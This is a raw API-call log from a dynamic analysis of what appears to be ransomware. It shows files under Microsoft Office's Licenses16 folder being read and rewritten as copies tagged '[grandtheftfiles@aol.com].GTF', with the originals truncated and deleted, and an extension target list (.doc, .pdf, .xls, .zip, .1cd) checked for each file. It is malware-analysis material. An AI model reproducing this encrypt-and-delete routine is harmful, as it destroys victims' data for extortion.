	[0182.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.750] lstrlenW (lpString=".1cd") returned 4
	[0182.750] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.750] lstrlenW (lpString=".jpg") returned 4
	[0182.750] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.750] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.750] lstrlenW (lpString="OneNoteR_Retail-ul-oob.xrm-ms") returned 29
	[0182.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.751] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11584) returned 1
	[0182.751] CloseHandle (hObject=0x568) returned 1
	[0182.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms")) returned 0x220
	[0182.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.751] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.751] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0182.752] GetLastError () returned 0x0
	[0182.752] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d40, lpOverlapped=0x0) returned 1
	[0182.754] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0182.755] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.755] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0182.755] SetEndOfFile (hFile=0x560) returned 1
	[0182.755] CloseHandle (hObject=0x560) returned 1
	[0182.756] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.756] SetEndOfFile (hFile=0x568) returned 1
	[0182.759] CloseHandle (hObject=0x568) returned 1
	[0182.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms")) returned 1
	[0182.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.760] lstrlenW (lpString=".doc") returned 4
	[0182.760] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString=".docx") returned 5
	[0182.760] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.760] lstrlenW (lpString=".pdf") returned 4
	[0182.760] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString=".xls") returned 4
	[0182.760] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString=".xlsx") returned 5
	[0182.760] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.760] lstrlenW (lpString=".ppt") returned 4
	[0182.760] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.760] lstrlenW (lpString=".zip") returned 4
	[0182.760] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString=".rar") returned 4
	[0182.760] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString=".bz2") returned 4
	[0182.761] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString=".7z") returned 3
	[0182.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.761] lstrlenW (lpString=".dbf") returned 4
	[0182.761] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.761] lstrlenW (lpString=".1cd") returned 4
	[0182.761] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.761] lstrlenW (lpString=".jpg") returned 4
	[0182.761] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.761] lstrlenW (lpString=".doc") returned 4
	[0182.761] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString=".docx") returned 5
	[0182.761] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.761] lstrlenW (lpString=".pdf") returned 4
	[0182.761] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString=".xls") returned 4
	[0182.761] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString=".xlsx") returned 5
	[0182.761] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.761] lstrlenW (lpString=".ppt") returned 4
	[0182.761] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.761] lstrlenW (lpString=".zip") returned 4
	[0182.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString=".rar") returned 4
	[0182.761] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString=".bz2") returned 4
	[0182.761] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.761] lstrlenW (lpString=".7z") returned 3
	[0182.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.762] lstrlenW (lpString=".dbf") returned 4
	[0182.762] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.762] lstrlenW (lpString=".1cd") returned 4
	[0182.762] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79
	[0182.762] lstrlenW (lpString=".jpg") returned 4
	[0182.762] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.762] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.762] lstrlenW (lpString="OneNoteR_Retail-ul-phn.xrm-ms") returned 29
	[0182.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.763] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19929) returned 1
	[0182.763] CloseHandle (hObject=0x568) returned 1
	[0182.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms")) returned 0x220
	[0182.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.763] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.763] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0182.764] GetLastError () returned 0x0
	[0182.764] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dd9, lpOverlapped=0x0) returned 1
	[0183.047] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0183.048] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.048] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0183.048] SetEndOfFile (hFile=0x560) returned 1
	[0183.049] CloseHandle (hObject=0x560) returned 1
	[0183.049] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.049] SetEndOfFile (hFile=0x568) returned 1
	[0183.051] CloseHandle (hObject=0x568) returned 1
	[0183.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms")) returned 1
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.053] lstrlenW (lpString=".doc") returned 4
	[0183.053] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString=".docx") returned 5
	[0183.053] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.053] lstrlenW (lpString=".pdf") returned 4
	[0183.053] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString=".xls") returned 4
	[0183.053] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString=".xlsx") returned 5
	[0183.053] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.053] lstrlenW (lpString=".ppt") returned 4
	[0183.053] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.053] lstrlenW (lpString=".zip") returned 4
	[0183.053] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString=".rar") returned 4
	[0183.053] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString=".bz2") returned 4
	[0183.053] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString=".7z") returned 3
	[0183.053] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.053] lstrlenW (lpString=".dbf") returned 4
	[0183.053] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.053] lstrlenW (lpString=".1cd") returned 4
	[0183.053] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.053] lstrlenW (lpString=".jpg") returned 4
	[0183.053] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.054] lstrlenW (lpString=".doc") returned 4
	[0183.054] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString=".docx") returned 5
	[0183.054] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.054] lstrlenW (lpString=".pdf") returned 4
	[0183.054] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString=".xls") returned 4
	[0183.054] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString=".xlsx") returned 5
	[0183.054] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.054] lstrlenW (lpString=".ppt") returned 4
	[0183.054] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.054] lstrlenW (lpString=".zip") returned 4
	[0183.054] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString=".rar") returned 4
	[0183.054] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString=".bz2") returned 4
	[0183.054] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString=".7z") returned 3
	[0183.054] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.054] lstrlenW (lpString=".dbf") returned 4
	[0183.054] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.054] lstrlenW (lpString=".1cd") returned 4
	[0183.054] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms") returned 79
	[0183.054] lstrlenW (lpString=".jpg") returned 4
	[0183.054] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.054] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.054] lstrlenW (lpString="OneNoteVL_MAK-ppd.xrm-ms") returned 24
	[0183.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.055] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6798) returned 1
	[0183.055] CloseHandle (hObject=0x568) returned 1
	[0183.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms")) returned 0x220
	[0183.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0183.056] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.056] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0183.057] GetLastError () returned 0x0
	[0183.057] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x1a8e, lpOverlapped=0x0) returned 1
	[0183.060] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0183.061] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.061] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x104, lpOverlapped=0x0) returned 1
	[0183.061] SetEndOfFile (hFile=0x560) returned 1
	[0183.061] CloseHandle (hObject=0x560) returned 1
	[0183.061] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.061] SetEndOfFile (hFile=0x568) returned 1
	[0183.064] CloseHandle (hObject=0x568) returned 1
	[0183.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms")) returned 1
	[0183.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.065] lstrlenW (lpString=".doc") returned 4
	[0183.066] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString=".docx") returned 5
	[0183.066] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.066] lstrlenW (lpString=".pdf") returned 4
	[0183.066] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString=".xls") returned 4
	[0183.066] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString=".xlsx") returned 5
	[0183.066] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.066] lstrlenW (lpString=".ppt") returned 4
	[0183.066] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.066] lstrlenW (lpString=".zip") returned 4
	[0183.066] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString=".rar") returned 4
	[0183.066] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString=".bz2") returned 4
	[0183.066] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString=".7z") returned 3
	[0183.066] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.066] lstrlenW (lpString=".dbf") returned 4
	[0183.066] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.066] lstrlenW (lpString=".1cd") returned 4
	[0183.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.066] lstrlenW (lpString=".jpg") returned 4
	[0183.066] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74
	[0183.066] lstrlenW (lpString=".doc") returned 4
	[0183.066] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.066] lstrlenW (lpString=".docx") returned 5
	[0183.066] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.067] lstrlenW (lpString=".pdf") returned 4
	[0183.067] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.067] lstrlenW (lpString=".xls") returned 4
	[0183.067] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.067] lstrlenW (lpString=".xlsx") returned 5
	[0183.067] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.067] lstrlenW (lpString=".ppt") returned 4
